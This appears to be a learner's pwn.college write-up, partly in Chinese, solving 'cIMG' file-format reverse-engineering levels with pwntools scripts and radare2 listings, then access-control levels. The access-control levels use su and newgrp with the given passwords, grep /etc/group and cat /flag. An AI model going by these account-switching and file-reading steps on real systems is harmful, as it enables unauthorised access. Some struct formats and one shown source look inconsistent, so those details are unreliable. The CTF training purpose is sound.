if (data[i].ascii != ' ') num_nonspace++;
}
if (num_nonspace != 275) won = 0; //frame size

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from pwn import process

header = b"cIMG"
version = 1
width = 25
height = 11
data_length = width * height

file_header = struct.pack("<4sQHH", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

Behold the cIMG! (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
│ ┌┌─> 0x00401345      e816feffff     call sym.imp.puts           ;[2]
│┌───> 0x0040134a 83cfff or edi, 0xffffffff ; -1
│╎╎╎ 0x0040134d e8cefeffff call sym.imp.exit ;[3]
└────> 0x00401352 837c240e01 cmp dword [rsp + 0xe], 1 ; version -> 1 dword -> 4 bytes
╎╎╎ 0x00401357 488d3dd50d.. lea rdi, str.ERROR:_Unsupported_version_ ; 0x402133 ; "ERROR: Unsupported version!"
╎└──< 0x0040135e 75e5 jne 0x401345
╎ ╎ 0x00401360 440fb7642412 movzx r12d, word [rsp + 0x12]
╎ ╎ 0x00401366 440faf642414 imul r12d, dword [rsp + 0x14]
╎ ╎ 0x0040136c 4489e7 mov edi, r12d
╎ ╎ 0x0040136f e86cfeffff call sym.imp.malloc ;[4]
╎ ╎ 0x00401374 488d3dd40d.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x40214f ; "ERROR: Failed to all
╎ ╎ 0x0040137b 4889c3 mov rbx, rax
╎ ╎ 0x0040137e 4885c0 test rax, rax
╎ └─< 0x00401381 74c2 je 0x401345
╎ 0x00401383 4489e2 mov edx, r12d
╎ 0x00401386 4889c6 mov rsi, rax
╎ 0x00401389 4183c8ff or r8d, 0xffffffff ; -1
╎ 0x0040138d 31ff xor edi, edi
╎ 0x0040138f 488d0dee0d.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x402184 ; "ERROR: Failed to read data!"
╎ 0x00401396 e880020000 call sym.read_exact ;[1]
╎ 0x0040139b 0fb7542412 movzx edx, word [rsp + 0x12] ; 2 bytes
╎ 0x004013a0 0faf542414 imul edx, dword [rsp + 0x14] ; 4 bytes
╎ 0x004013a5 31c0 xor eax, eax
╎ ┌─> 0x004013a7 39c2 cmp edx, eax
╎┌──< 0x004013a9 762f jbe 0x4013da
╎│╎ 0x004013ab 0fb60c03 movzx ecx, byte [rbx + rax]
╎│╎ 0x004013af 48ffc0 inc rax
╎│╎ 0x004013b2 8d71e0 lea esi, [rcx - 0x20]
╎│╎ 0x004013b5 4080fe5e cmp sil, 0x5e ; '^' ; 94
╎│└─< 0x004013b9 76ec jbe 0x4013a7
╎│ 0x004013bb 488b3d7e2c.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
╎│ ; [0x404040:8]=0
╎│ 0x004013c2 488d15d70d.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_
╎│ ; 0x4021a0 ; "ERROR: Invalid character 0x%x in the image data!\n"
╎│ 0x004013c9 be01000000 mov esi, 1
╎│ 0x004013ce 31c0 xor eax, eax
╎│ 0x004013d0 e85bfeffff call sym.imp.__fprintf_chk ;[5]
└───< 0x004013d5 e970ffffff jmp 0x40134a
└──> 0x004013da 4889de mov rsi, rbx
0x004013dd 4889ef mov rdi, rbp
0x004013e0 e886020000 call sym.display ;[6]
0x004013e5 0fb74c2412 movzx ecx, word [rsp + 0x12]
0x004013ea 31c0 xor eax, eax
0x004013ec 31d2 xor edx, edx
0x004013ee 0faf4c2414 imul ecx, dword [rsp + 0x14]
┌─> 0x004013f3 39c1 cmp ecx, eax
┌──< 0x004013f5 760d jbe 0x401404
│╎ 0x004013f7 803c0320 cmp byte [rbx + rax], 0x20
┌───< 0x004013fb 7402 je 0x4013ff
││╎ 0x004013fd ffc2 inc edx
└───> 0x004013ff 48ffc0 inc rax
│└─< 0x00401402 ebef jmp 0x4013f3
└──> 0x00401404 81fa13010000 cmp edx, 0x113 ; 275
┌─< 0x0040140a 7507 jne 0x401413
│ 0x0040140c 31c0 xor eax, eax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from pwn import process

header = b"cIMG"
version = 1
width = 25
height = 11
data_length = width * height

file_header = struct.pack("<4sIHI", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

Metadata and Data (Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def main():
if len(sys.argv) >= 2:
path = sys.argv[1]
assert path.endswith(".cimg"), "ERROR: file has incorrect extension"
file = open(path, "rb")
else:
file = sys.stdin.buffer

header = file.read1(10)
assert len(header) == 10, "ERROR: Failed to read header!"

assert header[:4] == b"CNmG", "ERROR: Invalid magic number!"

assert int.from_bytes(header[4:6], "little") == 1, "ERROR: Invalid version!"

width = int.from_bytes(header[6:8], "little")
assert width == 66, "ERROR: Incorrect width!"

height = int.from_bytes(header[8:10], "little")
assert height == 17, "ERROR: Incorrect height!"

data = file.read1(width * height)
assert len(data) == width * height, "ERROR: Failed to read data!"

pixels = [Pixel(character) for character in data]

with open("/flag", "r") as f:
flag = f.read()
print(flag)


if __name__ == "__main__":
try:
main()
except AssertionError as e:
print(e, file=sys.stderr)
sys.exit(-1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from pwn import process

header = b"CNmG"
version = 1
width = 66
height = 17
data_length = width * height

file_header = struct.pack("<4sHHH", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

pwn.college{**********************************************}

Metadata and Data (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// ...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'C' || cimg.header.magic_number[1] != 'm' || cimg.header.magic_number[2] != '@' || cimg.header.magic_number[3] != 'g')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 1)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

if (cimg.header.width != 71)
{
puts("ERROR: Incorrect width!");
exit(-1);
}

if (cimg.header.height != 21)
{
puts("ERROR: Incorrect height!");
exit(-1);
}

unsigned long data_size = cimg.header.width * cimg.header.height * sizeof(pixel_t);
pixel_t *data = malloc(data_size);
if (data == NULL)
{
puts("ERROR: Failed to allocate memory for the image data!");
exit(-1);
}
read_exact(0, data, data_size, "ERROR: Failed to read data!", -1);

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from pwn import process

header = b"Cm@g"
version = 1
width = 71
height = 21
data_length = width * height

file_header = struct.pack("<4sHBH", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Metadata and Data (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# ...
│ 0x004012fc 807c240d5b cmp byte [rsp + 0xd], 0x5b ; '['
│ ┌─< 0x00401301 7515 jne 0x401318
│ │ 0x00401303 807c240e4d cmp byte [rsp + 0xe], 0x4d ; 'M'
│┌──< 0x00401308 750e jne 0x401318
│││ 0x0040130a 807c240f61 cmp byte [rsp + 0xf], 0x61 ; 'a'
┌────< 0x0040130f 7507 jne 0x401318
││││ 0x00401311 807c241067 cmp byte [rsp + 0x10], 0x67 ; 'g'
┌─────< 0x00401316 7414 je 0x40132c
│└─└└─> 0x00401318 488d3df70d.. lea rdi, str.ERROR:_Invalid_magic_number_ ; 0x402116 ; "ERROR: Invalid magic number!"
┌─┌─┌┌─> 0x0040131f e81cfeffff call sym.imp.puts ;[6]
╎│╎└───> 0x00401324 83cfff or edi, 0xffffffff ; -1
╎│╎ ╎╎ 0x00401327 e8d4feffff call sym.imp.exit ;[7]
╎└─────> 0x0040132c 837c241101 cmp dword [rsp + 0x11], 1 # dword -> 4 bytes
╎ ╎ ╎╎ 0x00401331 488d3dfb0d.. lea rdi, str.ERROR:_Unsupported_version_ ; 0x402133 ; "ERROR: Unsupported version!"
└──────< 0x00401338 75e5 jne 0x40131f
╎ ╎╎ 0x0040133a 66837c241544 cmp word [rsp + 0x15], 0x44 ; 'D' word -> 2 bytes
╎ ╎╎ 0x00401340 488d3d080e.. lea rdi, str.ERROR:_Incorrect_width_ ; 0x40214f ; "ERROR: Incorrect width!"
└────< 0x00401347 75d6 jne 0x40131f
╎╎ 0x00401349 807c24170f cmp byte [rsp + 0x17], 0xf
╎╎ 0x0040134e 488d3d120e.. lea rdi, str.ERROR:_Incorrect_height_ ; 0x402167 ; "ERROR: Incorrect height!"
└──< 0x00401355 75c8 jne 0x40131f
╎ 0x00401357 bffc030000 mov edi, 0x3fc ; 1020
╎ 0x0040135c e85ffeffff call sym.imp.malloc ;[8]
╎ 0x00401361 488d3d180e.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x402180 ; "ERROR: Failed to all
╎ 0x00401368 4889c6 mov rsi, rax
╎ 0x0040136b 4885c0 test rax, rax
└─< 0x0040136e 74af je 0x40131f
0x00401370 4183c8ff or r8d, 0xffffffff ; -1
0x00401374 31ff xor edi, edi
0x00401376 bafc030000 mov edx, 0x3fc ; 1020
0x0040137b 488d0d330e.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x4021b5 ; "ERROR: Failed to read data!"
0x00401382 e804020000 call sym.read_exact ;[5]
# ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from pwn import process

header = b"[Mag"
version = 1
width = 0x44
height = 0xf
data_length = width * height

file_header = struct.pack("<4sIHB", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Version Information (Python)

Programs that parse evolving file formats must be able to tell what version of the format it must parse. This is, often, stored right near the magic number.

在现代 x86 架构下,内存和二进制文件通常使用 Little-Endian (小端序)。简单来说,就是低位字节存放在低地址(前面)

  • 十进制的 1337,转换成十六进制是 0x0539
  • 如果是 2-byte (Short, <H) 存储,它不是 \x05\x39,而是反过来的 \x39\x05
  • 如果是 4-byte (Integer, <I) 存储,高位要补零,所以变成了 \x39\x05\x00\x00

Python 的 struct 模块就是用来做这种转换的完美工具。struct.pack("<I", 1337) 里的 < 代表 Little-Endian,I 代表 4 字节的无符号整数。

前缀 含义 (Byte Order) 适用场景
< Little-endian (小端序) 最常用的格式。现代 x86/x64 架构的标准。低位字节在低地址。
> Big-endian (大端序) 高位字节在低地址。常见于一些非主流或老旧的 RISC 架构。
! Network byte order (网络字节序) 实际上就是大端序。 所有网络包头部都用这个。
@ Native (本机原生) 默认值,使用本机的字节序和 C 编译器的内存对齐方式(会产生 padding 填充)。
Format (字符) C 语言对应类型 Python 对应类型 标准大小 (Bytes)
x pad byte (无) 1 用于手动填充空字节以实现内存对齐。
b signed char integer 1 8-bit 有符号整数 (-128 到 127)。
B unsigned char integer 1 8-bit 无符号整数 (0 到 255)。处理单字节 flags 时最常用。
h short integer 2 16-bit 有符号整数。
H unsigned short integer 2 16-bit 无符号整数。比如网络端口号就用这个 (!H)。
i int integer 4 32-bit 有符号整数。
I unsigned int integer 4 32-bit 无符号整数。CTF 中最常用的内存地址偏移量大小(32位系统)。
q long long integer 8 64-bit 有符号整数。
Q unsigned long long integer 8 64-bit 无符号整数。现代 64 位系统。
f float float 4 IEEE 754 单精度浮点数。
d double float 8 IEEE 754 双精度浮点数。
s char[] bytes 变长 字符串/字节数组。需要在前面加数字,比如 4s 代表 4 个字节的 bytes。

假设你需要给 /challenge/cimg 一个文件头,格式要求如下:

  1. Magic Number: "CIMG" (4 个字节)
  2. Version: 1 (16-bit 无符号整数,小端序)
  3. Payload Size: 1024 (64-bit 无符号整数,小端序)
  4. Flag: 0xFF (单字节无符号整数)
1
2
3
4
5
6
7
8
9
10
11
import struct

# < : Little-endian
# 4s : 4 bytes string ("CIMG")
# H : unsigned short (Version 1)
# Q : unsigned long long (Size 1024)
# B : unsigned char (Flag 0xFF)

file_header = struct.pack("<4sHQB", b"CIMG", 1, 1024, 0xFF)
with open("arch_crafted_payload.bin", "wb") as f:
f.write(file_header)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Pixel = namedtuple("Pixel", ["ascii"])

def main():
if len(sys.argv) >= 2:
path = sys.argv[1]
assert path.endswith(".cimg"), "ERROR: file has incorrect extension"
file = open(path, "rb")
else:
file = sys.stdin.buffer

header = file.read1(6)
assert len(header) == 6, "ERROR: Failed to read header!"

assert header[:4] == b"c:MG", "ERROR: Invalid magic number!"

assert int.from_bytes(header[4:6], "little") == 51, "ERROR: Invalid version!"

with open("/flag", "r") as f:
flag = f.read()
print(flag)


if __name__ == "__main__":
try:
main()
except AssertionError as e:
print(e, file=sys.stderr)
sys.exit(-1)
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from pwn import process


file_header = struct.pack("<4sH", b"c:MG", 51 )

file = open("payload.cimg", "wb")
file.write(file_header)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Version Information (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != '{' || cimg.header.magic_number[1] != 'M' || cimg.header.magic_number[2] != 'A' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 168)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

if (won) win();

}
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from pwn import process


file_header = struct.pack("<4sQ", b"{MAG", 168 )

file = open("payload.cimg", "wb")
file.write(file_header)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Version Information (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
            ;-- main:
# ...
│ 0x004012d0 488d0d210e.. lea rcx, str.ERROR:_Failed_to_read_header_ ; 0x4020f8 ; "ERROR: Failed to read header!"
│ 0x004012d7 e83f020000 call sym.read_exact ;[5]
│ 0x004012dc 807c240343 cmp byte [rsp + 3], 0x43 ; 'C'
│ ┌─< 0x004012e1 7515 jne 0x4012f8
│ │ 0x004012e3 807c24044d cmp byte [rsp + 4], 0x4d ; 'M'
│┌──< 0x004012e8 750e jne 0x4012f8
│││ 0x004012ea 807c240561 cmp byte [rsp + 5], 0x61 ; 'a'
┌────< 0x004012ef 7507 jne 0x4012f8
││││ 0x004012f1 807c240667 cmp byte [rsp + 6], 0x67 ; 'g'
┌─────< 0x004012f6 7414 je 0x40130c
│└─└└─> 0x004012f8 488d3d170e.. lea rdi, str.ERROR:_Invalid_magic_number_ ; 0x402116 ; "ERROR: Invalid magic number!"
│ │ ┌─> 0x004012ff e82cfeffff call sym.imp.puts ;[6]
│ └───> 0x00401304 83cfff or edi, 0xffffffff ; -1
│ ╎ 0x00401307 e8d4feffff call sym.imp.exit ;[7]
└─────> 0x0040130c 807c240764 cmp byte [rsp + 7], 0x64 ; 'd'
╎ 0x00401311 488d3d1b0e.. lea rdi, str.ERROR:_Unsupported_version_ ; 0x402133 ; "ERROR: Unsupported version!"
#...
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from pwn import process


file_header = struct.pack("<4sB", b"CMag", 0x64 )

file = open("payload.cimg", "wb")
file.write(file_header)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Reading Endianness (Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Pixel = namedtuple("Pixel", ["ascii"])

def main():
if len(sys.argv) >= 2:
path = sys.argv[1]
assert path.endswith(".cimg"), "ERROR: file has incorrect extension"
file = open(path, "rb")
else:
file = sys.stdin.buffer

header = file.read1(4)
assert len(header) == 4, "ERROR: Failed to read header!"

assert int.from_bytes(header[:4], "little") == 0x72254F3C, "ERROR: Invalid magic number!"

with open("/flag", "r") as f:
flag = f.read()
print(flag)


if __name__ == "__main__":
try:
main()
except AssertionError as e:
print(e, file=sys.stderr)
sys.exit(-1)
1
2
3
4
hacker@reverse-engineering~reading-endianness-python:~$ xxd payload.cimg
00000000: 3c4f 2572 0000 0000 0000 0000 0000 0000 <O%r............
hacker@reverse-engineering~reading-endianness-python:~$ /challenge/cimg payload.cimg
pwn.college{**********************************************}

Reading Endianness (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number != 1198345851)
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (won) win();
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from pwn import process

magic_number = 1198345851
# or 4 bytes
magic_number = magic_number.to_bytes(256, "little")
file = open("payload.cimg", "wb")
file.write(magic_number)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Reading Endianness (x86)

radare2 btw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
│     0x004012be      488d742404     lea rsi, [rsp + 4]
│ 0x004012c3 ba04000000 mov edx, 4
│ 0x004012c8 488d0d290e.. lea rcx, str.ERROR:_Failed_to_read_header_ ; 0x4020f8 ; "ERROR: Failed to read header!"
│ 0x004012cf e827020000 call sym.read_exact ;[5]
│ 0x004012d4 817c24043c.. cmp dword [rsp + 4], 0x72254f3c ; '<O%r'
│ ┌─< 0x004012dc 7414 je 0x4012f2
│ │ 0x004012de 488d3d310e.. lea rdi, str.ERROR:_Invalid_magic_number_ ; 0x402116 ; "ERROR: Invalid magic number!"
│ │ 0x004012e5 e846feffff call sym.imp.puts ;[6]
└───> 0x004012ea 83cfff or edi, 0xffffffff ; -1
│ 0x004012ed e8eefeffff call sym.imp.exit ;[7]
└─> 0x004012f2 31c0 xor eax, eax
0x004012f4 e80d010000 call sym.win ;[8]
0x004012f9 488b442408 mov rax, qword [rsp + 8]
0x004012fe 6448330425.. xor rax, qword fs:[0x28]
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from pwn import process

magic_number = 0x72254f3c
# or 4 bytes
magic_number = magic_number.to_bytes(256, "little")
file = open("payload.cimg", "wb")
file.write(magic_number)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

pwn.college{**********************************************}

File Formats: Magic Numbers(Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import os
import sys
from collections import namedtuple

Pixel = namedtuple("Pixel", ["ascii"])

def main():
if len(sys.argv) >= 2:
path = sys.argv[1]
assert path.endswith(".cimg"), "ERROR: file has incorrect extension"
file = open(path, "rb")
else:
file = sys.stdin.buffer

header = file.read1(4)
assert len(header) == 4, "ERROR: Failed to read header!"

assert header[:4] == b"{:m6", "ERROR: Invalid magic number!"

with open("/flag", "r") as f:
flag = f.read()
print(flag

if __name__ == "__main__":
try:
main()
except AssertionError as e:
print(e, file=sys.stderr)
sys.exit(-1)
1
2
3
4
# -n option -> no newline
hacker@reverse-engineering~file-formats-magic-numbers-python:~$ echo -n "{:m6" > payload.cimg
hacker@reverse-engineering~file-formats-magic-numbers-python:~$ /challenge/cimg payload.cimg
pwn.college{**********************************************}

File Formats: Magic Numbers(C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
void win()
{
char flag[256];
int flag_fd;
int flag_length;

flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

void read_exact(int fd, void *dst, int size, char *msg, int exitcode)
{
int n = read(fd, dst, size);
if (n != size)
{
fprintf(stderr, msg);
fprintf(stderr, "\n");
exit(exitcode);
}
}

struct cimg_header
{
char magic_number[4];
} __attribute__((packed));

typedef struct
{
uint8_t ascii;
} pixel_bw_t;
typedef pixel_bw_t pixel_t;

struct cimg
{
struct cimg_header header;
};

void __attribute__ ((constructor)) disable_buffering()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 1);
}

int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != '<' || cimg.header.magic_number[1] != 'O' || cimg.header.magic_number[2] != '%' || cimg.header.magic_number[3] != 'r')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (won) win();

}
1
2
3
4
echo -n "<O%r" > payload.cimg

hacker@reverse-engineering~file-formats-magic-numbers-c:~$ /challenge/cimg payload.cimg
pwn.college{U8Qj1nr1Y8CCrAcigFixhqFtuxF.QX2ATN2EDL4cjM1gzW}

File Formats: Magic Numbers (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
0x00401546      488b45d0       mov rax, qword [rbp - 0x30]
0x0040154a 4883c008 add rax, 8
0x0040154e 488b00 mov rax, qword [rax]
0x00401551 4889c7 mov rdi, rax
0x00401554 e807fcffff call sym.imp.strlen ;[1]
0x00401559 4883e805 sub rax, 5
0x0040155d 4801d8 add rax, rbx
0x00401560 488d35850b.. lea rsi, str..cimg ; 0x4020ec ; ".cimg"
0x00401567 4889c7 mov rdi, rax
0x0040156a e861fcffff call sym.imp.strcmp ;[2]
0x0040156f 85c0 test eax, eax
0x00401571 741b je 0x40158e
0x00401573 488d3d7e0b.. lea rdi, str.ERROR:_Invalid_file_extension_ ; 0x4020f8 ; "ERROR: Invalid file extension!"
0x0040157a b800000000 mov eax, 0
0x0040157f e80cfcffff call sym.imp.printf ;[3]
0x00401584 bfffffffff mov edi, 0xffffffff ; -1
0x00401589 e882fcffff call sym.imp.exit ;[4]
0x0040158e 488b45d0 mov rax, qword [rbp - 0x30]
0x00401592 4883c008 add rax, 8
0x00401596 488b00 mov rax, qword [rax]
0x00401599 be00000000 mov esi, 0
0x0040159e 4889c7 mov rdi, rax
0x004015a1 b800000000 mov eax, 0
0x004015a6 e855fcffff call sym.imp.open ;[5]
0x004015ab be00000000 mov esi, 0
0x004015b0 89c7 mov edi, eax
0x004015b2 e8c9fbffff call sym.imp.dup2 ;[6]
0x004015b7 488d45e4 lea rax, [rbp - 0x1c]
0x004015bb 41b8ffffffff mov r8d, 0xffffffff ; -1
0x004015c1 488d0d4f0b.. lea rcx, str.ERROR:_Failed_to_read_header_ ; 0x402117 ; "ERROR: Failed to read header!"
0x004015c8 ba04000000 mov edx, 4
0x004015cd 4889c6 mov rsi, rax
0x004015d0 bf00000000 mov edi, 0
0x004015d5 e863feffff call sym.read_exact ;[7]
0x004015da 0fb645e4 movzx eax, byte [rbp - 0x1c]
0x004015de 3c7b cmp al, 0x7b ; '{' ; 123
0x004015e0 7518 jne 0x4015fa
0x004015e2 0fb645e5 movzx eax, byte [rbp - 0x1b]
0x004015e6 3c6e cmp al, 0x6e ; 'n' ; 110
0x004015e8 7510 jne 0x4015fa
0x004015ea 0fb645e6 movzx eax, byte [rbp - 0x1a]
0x004015ee 3c6d cmp al, 0x6d ; 'm' ; 109
0x004015f0 7508 jne 0x4015fa
0x004015f2 0fb645e7 movzx eax, byte [rbp - 0x19]
0x004015f6 3c36 cmp al, 0x36 ; '6' ; 54
0x004015f8 7416 je 0x401610
0x004015fa 488d3d340b.. lea rdi, str.ERROR:_Invalid_magic_number_ ; 0x402135 ; "ERROR: Invalid magic number!"
0x00401601 e83afbffff call sym.imp.puts ;[8]
0x00401606 bfffffffff mov edi, 0xffffffff ; -1
0x0040160b e800fcffff call sym.imp.exit ;[4]
1
2
3
echo -n "{nm6" > payload.cimg
hacker@reverse-engineering~file-formats-magic-numbers-x86:~$ /challenge/cimg payload.cimg
pwn.college{**********************************************}

DAC (Discretionary Access Control)

level 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
hacker@access-control~level6:~$ /challenge/run
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.


In this challenge you will work with different UNIX permissions on the flag.

The flag file is owned by root and a new group.

Hint: Search for how to join a group with a password.


Before:
-r-------- 1 root root 58 Mar 15 07:43 /flag
After:
----r----- 1 root group_rlspdzyr 58 Mar 15 07:43 /flag
The password for group_rlspdzyr is: fxtnvxdc
1
2
3
newgrp group_rlspdzyr
fxtnvxdc
cat /flag

level 7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.


In this challenge you will work understand how UNIX permissions works with multiple users.

You'll also be given access to various user accounts, use su to switch between them.


Before:
-r-------- 1 root root 58 Mar 15 07:54 /flag
Created user user_yhrsapiv with password meambaqr
After:
-------r-- 1 hacker root 58 Mar 15 07:54 /flag
1
2
3
4
5
hacker@access-control~level7:~$ su user_yhrsapiv
Password:
user_yhrsapiv@access-control~level7:/home/hacker$ cat /flag
pwn.college{********************************************}
user_yhrsapiv@access-control~level7:/home/hacker$

level 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.


In this challenge you will work understand how UNIX permissions works with multiple users.

You'll also be given access to various user accounts, use su to switch between them.

Hint: How can you tell which user is in what group?


Before:
-r-------- 1 root root 58 Mar 15 07:58 /flag
Created user user_chalwvis with password dbxhfxlk
Created user user_excrdkez with password vyivxjyz
Created user user_clpkmenq with password aeckeicf
Created user user_tlgspwhg with password jpatveih
Created user user_jnrxhzvw with password yfvuqmwc
Created user user_lvbeomaw with password posedqty
Created user user_qgansdbg with password thpdyrjd
Created user user_wtfbycte with password kulvnsvi
Created user user_gcwagbel with password aoekmoum
Created user user_yfuxiagx with password bpwapccq
After:
----r----- 1 root group_cmn 58 Mar 15 07:58 /flag
1
2
3
4
5
6
hacker@access-control~level10:~$ grep group_cmn /etc/group
group_cmn:x:1001:user_yfuxiagx
hacker@access-control~level10:~$ su user_yfuxiagx
Password:
